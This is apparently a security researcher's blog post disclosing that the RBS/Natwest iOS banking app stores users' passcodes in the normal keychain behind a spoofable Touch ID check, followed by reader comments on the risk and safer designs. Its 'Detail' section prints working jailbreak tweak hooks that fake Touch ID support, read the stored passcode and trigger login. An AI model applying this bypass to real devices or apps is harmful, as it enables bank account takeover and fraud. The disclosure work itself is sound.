RBS / Natwest Touch ID Security | Andrew Whaley's Blog

Security and other geeky stuff.

RBS / Natwest Touch ID Security

Tags: , , ,

Last week RBS / Natwest updated their banking app to include a convenience feature for customers of allowing authentication via Touch ID on suitably equipped iOS devices. Note that the RBS / Natwest apps are actually developed by a 3rd party Monitise. Monitise claim, on their website, ‘Monitise plc (LSE: MONI.L) is a world leader in Mobile Money – banking, paying and buying with a mobile device. ‘ so you might expect that mobile security would feature highly in their capabilities and products. Well let’s see.

A Background on Touch ID 

Touch ID was introduced by Apple with the iPhone 5S in September 2013 following Apple’s acquisition of AuthenTec in 2012. Although Apple’s implementation seems reasonably good from a hardware point of view, there are still generic issues with using fingerprints as illustrated by Chaos Computer Club’s hack of Touch ID within days of launch. To enable developers to make use of Touch ID, Apple introduced the LocalAuthentication API in iOS 7 which provides a very simple Success or Fail callback to the app depending on whether the user passed the Touch ID authentication. It also provides some customization of the dialogue that is presented to users, e.g. to allow fallback to a custom credential if Touch ID fails or the user opts to not use it.

There are two fundamental security issues with using this API :-

  1. The callback is a simple Yes or No and so it can easily be spoofed and trick the app into thinking that the user has passed Touch ID authentication when they haven’t,
  2. It doesn’t provide any kind of token based on the fingerprint and so you don’t know which finger was used and you can’t then derive a credential from the fingerprint. This would allow, say a banking app to use a different finger than is used to unlock the device and it would mean that a credential doesn’t need to be stored on the device since you could use the token.

Perhaps recognizing the obvious shortcomings in this API, Apple introduced an alternative in iOS 8 called KeychainTouchID. This works slightly differently in that it allows the developer to store a credential or token securely in a specially reserved area of the keychain protected by Touch ID. The only way to retrieve the item is to pass Touch ID authentication and so the API can’t easily be spoofed since the spoofed API would need to be able to return the previously stored token. You still can’t identify which finger was used but at least you can have a degree of trust in the API since it will return a token that you can then test with an authentication challenge against the server.

There is one major usability drawback with the KeychainTouchID API though which is the dialogue presented to users cannot be customized and it offers an ‘Enter Passcode’ fallback option. When the user clicks on this they can then enter the device passcode to unlock the keychain to gain access to the token. This is quite nice for apps that don’t have their own credential since you can use either Touch ID or device passcode to unlock the app. It’s bad, though, for apps that have their own passcode like most banking apps since this will thoroughly confuse the user and might spook them when the ‘wrong’ i.e. device passcode unlocks their app.


The RBS / Natwest Approach

Either through ignorance of the risks or maybe deliberately favouring user experience over the risks, RBS / Monetise have implemented using the LocalAuthentication API. This means that it is very easy to spoof this API to the app and completely bypass the authentication in the app. I could understand this approach if they treated Touch ID authentication as being less secure than the usual credential and offered limited functionality when using Touch ID. Making a payment or sending cash to an ATM might then prompt the user for their regular credential i.e. a step-up authentication. Actually even allowing users to see transaction detail is a high security risk because this information can be used to confirm a direct debit mandate created through PayPal.

RBS / Monetise have not segregated the two authentication methods and they’ve even blundered further by storing the users regular passcode credential on the device in the normal keychain i.e. not the Touch ID protected area. When you authenticate with Touch ID, the app calls the LocalAuthentication API which says Yes you’ve passed, it then gets the passcode out of the insecure area of the keychain and performs a normal login giving full access to transactions, payments and even sending cash to an ATM.

Yes you read that right – they are storing the passcode on the device !


Demonstration of an Attack

I created a simple tweak to intercept the Touch ID login process, retrieve the passcode from the keychain and submit it as part of a regular login, thereby completely bypassing the authentication in the app. Here are some screen shots :-

IMG_0002  IMG_0003

The passcode was not entered here, the passcode is retrieved and populated, dialogue pops up and then when you click on on ‘OK’, the login button is clicked.

The more observant amongst you will have noticed that the screenshots above are taken from a 3.5″ device and that no 3.5″ device has Touch ID. It was done on a jailbroken iPhone 4 but first I tricked the app into thinking that Touch ID was available by spoofing the relevant functions in the API, this then allows the app to offer me the Touch ID function and it then stores the passcode insecurely in the keychain. So actually, this is a good illustration, of where poor security for the new Touch ID feature has actually weakened security of the app across all devices even those that don’t have Touch ID !


The Detail

Firstly we trick the app into thinking that Touch ID is available on this device :-

%hook DeviceDetection

+ (BOOL) currentDeviceSupportsTouchID
return YES;

%hook TouchIDManager

// Hooking a class method
+ (id)sharedInstance {
return %orig;

-(BOOL) isTouchIDAvailableForThisDevice
return YES;

-(BOOL) shouldUseTouchIdForThisUser
return YES;

-(BOOL) shouldUseTouchIdAtAll
return YES;


Then we hook the passcode entry screen to retrieve the stored passcode and click the login button :-

%hook EnterPassCodeViewController_iPhone 
- (void)viewDidAppear:(BOOL)animated
	%log; // Write a message about this call, including its class, name and arguments, to the system log.

	//%orig; // Call through to the original function with its original arguments.
	%orig; // Call through to the original function with a custom argument.

    // Get passcode
	nwhack_pc = ((TouchIDManager *) [%c(TouchIDManager) sharedTouchIDManager]).storedPasscode;
	NSLog(@"Passcode = %@", nwhack_pc);
	self.textFieldPassCode.text = nwhack_pc;
	NSString * message = [NSString stringWithFormat: @"Your passcode %@ is actually stored on the device !", nwhack_pc];
	UIAlertView *alert = [[UIAlertView alloc] initWithTitle: @"Diabolical Security"
		                                      message: message
											  delegate: self 
											  cancelButtonTitle:@"OK" otherButtonTitles:nil]; 
    [alert show];
	// If you use %orig(), you MUST supply all arguments (except for self and _cmd, the automatically generated ones.)

// Called when a button is clicked. The view will be automatically dismissed after this call returns
- (void)alertView:(UIAlertView *)alertView clickedButtonAtIndex:(NSInteger)buttonIndex
    // handle the button click
	[self.loginButton sendActionsForControlEvents: UIControlEventTouchUpInside];



There are many security issues with this app but this example just illustrates how a naive and poorly understood implementation of Touch ID exposes the app not only where it has been enabled but for all users across all iOS devices.

Storing the credential on the device is a really basic security mistake that even most inexperienced app developers wouldn’t make, you can probably make your own judgement as to whether Monetise can be accurately described as ‘a world leader in Mobile Money – banking, paying and buying with a mobile device’. It’s difficult to see if RBS / Natwest have carried out a review of the implementation or any independent penetration testing – something that you would expect a bank to do in order to protect it’s customers from fraud.

The implications of this blunder are that anybody using the Touch ID feature in the RBS or Natwest app would be directly exposed to account takeover if they lost their device. Having a credential that the user enters and is never stored on the device is the standard way to protect against this possibility.

I’ll cover some of the other fundamental security failings of this app in subsequent posts, but it is really those that led me to so easily understand their Touch ID implementation and to bypass it. These failings also mean that the app is wide open to malware attacks.

The British Standards Institute recently launched a new Kitemark standard for secure digital transactions, had RBS / Monetise been following these then their app would be a lot more secure.

In the meantime, users might want to consider how much protection the app’s Touch ID function is actually adding and whether it would protect their account if their phone fell into the wrong hands.


Disclaimer: Please note this research, the findings and the views expressed are purely my own personal work and views as a concerned long-standing customer of the Natwest and in no way reflect the interests and views of my employer. 







  • thanks for the breakdown, didn’t realise it was so insecure. Whilst it looks possible to gain access to the app I would question the risk of losing money

    Payments/transfers can only be sent to existing payees, new ones have to be verified by card reader. Maybe this is why the risk was accepted

    • I doubt that because you can also send cash to an ATM and collect it with just a code and no debit card. OK there’s probably a £500 / day withdrawal limit but even so, it could be an expensive mistake to setup Touch ID and then lose your phone.

  • Thanks for putting the work into this. Much as I’d appreciate the convenience, gut feeling stops me short of putting anything to do with finance on a phone or tablet – and Natwest in particular have a lamentable record on app security.

    Quite a number of apps now use TouchID, Lastpass probably being the most significant in terms of risk. Any idea if that is similarly vulnerable, or is it just better to stick to a password, full stop.

    • I don’t know about Lastpass I’m afraid as I’d have to reverse engineer it to find out. If it’s using KeychainTouchID then it’ll be reasonably secure although bear in mind that your fingerprint can still be lifted from the reader or elsewhere on the phone and then represented to the reader to gain access – although this isn’t a quick attack. Anything using LocalAuthentication is insecure and shouldn’t be used at all. A quick way to tell is to see if the dialog that pops up has the ‘Enter Passcode’ and ‘Cancel’ options on it. If it does and the Enter Passcode options prompts for your device passcode then it’s probably using KeychainTouchID so reasonably secure. The least secure option, by far, is using LocalAuthentication to protect a copy of your regular credential on the device – the RBS approach. Your regular credential should never be stored on the device under any circumstances.

  • I don’t know the details of the Monitize app, but I think it’s worth comparing it with the security of a credit/debit card. If you want to extract cash or make a purchase in a shop using a card, then you should now (but don’t in fact always) need the card itself (and not just what is written on it: the physical object), and a PIN. However if you want to buy something for delivery to an already-known address you often only need what is written on the card – some cards do require an extra passphrase, but not all.

    For the app, using traditional passcode authentication, then in order to do anything you need the phone (which should mean the physical phone that on which you set the app up), and a PIN. That’s pretty close to the security you need to extract cash from a card, assuming that the phone can’t be cloned, or can’t be cloned without heroic effort.

    But with TouchID it looks as though this is weakened: the PIN is now stored in the phone itself, so all you need is the phone. If the phone can’t be cloned then, in terms of card security, this is the same as requiring physical posession of the right card but not its PIN – or equivalently it’s as if the PIN for the card was stored in the card.

    If the phone can be cloned then things are still weaker: all you need is ‘what is written on the phone’ in the sense that all you need is data which can be extracted from its memory and dumped into the clone. This is now at the level of card security for delivery to an already-known address.

    So the question to ask is what the app lets you do: if it only lets you do things that you could do with the information written on a card, then there’s no real cause for alarm, as we don’t all panic about using cards to buy things on the net, for instance.

    Well, what does it let you do?

    – It lets you send money to pre-set-up payees, which I think is roughly equivalent to ordering things to already-known addresses.
    – It lets you see your transaction history including account numbers, which is something you *can’t* do merely by using what is written on a card.
    – It lets you top up a prepay phone (I think: I have not used this ability).
    – And finally it lets you get some amount of money from an ATM without having an ATM card (I think: I have never used this ability).

    The second of these is a nasty security problem but not immediately a financial problem. The third is potentially a financial problem and the last definitely is one.

    Whether this is acceptable using TouchID depends, I think, on judgement and on whether the phone can be cloned easily. If the phone *can* be cloned easily then this is a disaster. If the phone can’t be cloned then it’s down to judgement, because this isn’t equivalent to something you can do with a card: it might be that we should decide that *physical possession of a particular phone* even without knowing the PIN is indeed enough to allow this kind of transaction.

    Personally, I don’t think it is enough (and I also assume that the app and its supporting infrastructure is likely riddled with security problems in the normal way that such things are) but the situation is at least complicated.

    • Thanks for the long comment Tim. I think I agree with everything you’ve written. On the cloning point, it would be pretty trivial to clone the Natwest registration (with passcode if the victim is using TouchID) so it would be very vulnerable to a remote malware attack and probably an iCloud compromise or backup on PC. I might save that for a future post.

  • Interesting article, something I am also looking into as I am making a financial related app and TouchID was something mentioned that the client wanted. I too came to the conclusion that the only way TouchID can work is by storing the original credentials (in secure keychain, not local manager) or auth token and retrieving it based on the result of the touch auth, then using that to auth the user – which does go against everything I have ever read – specifically do not store things on the device. I understand this post is over a year old now, so I wonder, have there been any advancements so that you can perform TouchId auth without storing the users creds/token on the device??

    Best regards, great article.

    • There has been a huge improvement with iOS 9. There is now the capability to generate an elliptic curve keypair in the secure enclave protected by TouchID. In this scenario, you generate the keypair in the SE during registration and send the public key (which you can access) to the server. During authentication, you get a challenge from the server and pass it to the SE. The SE will sign the challenge with the private key only after successful unlock with TouchID. You then send the signed challenge to the server where it can be checked with the public key. This is all very secure because it’s impossible to get the private key out of the SE ! Hope that helps.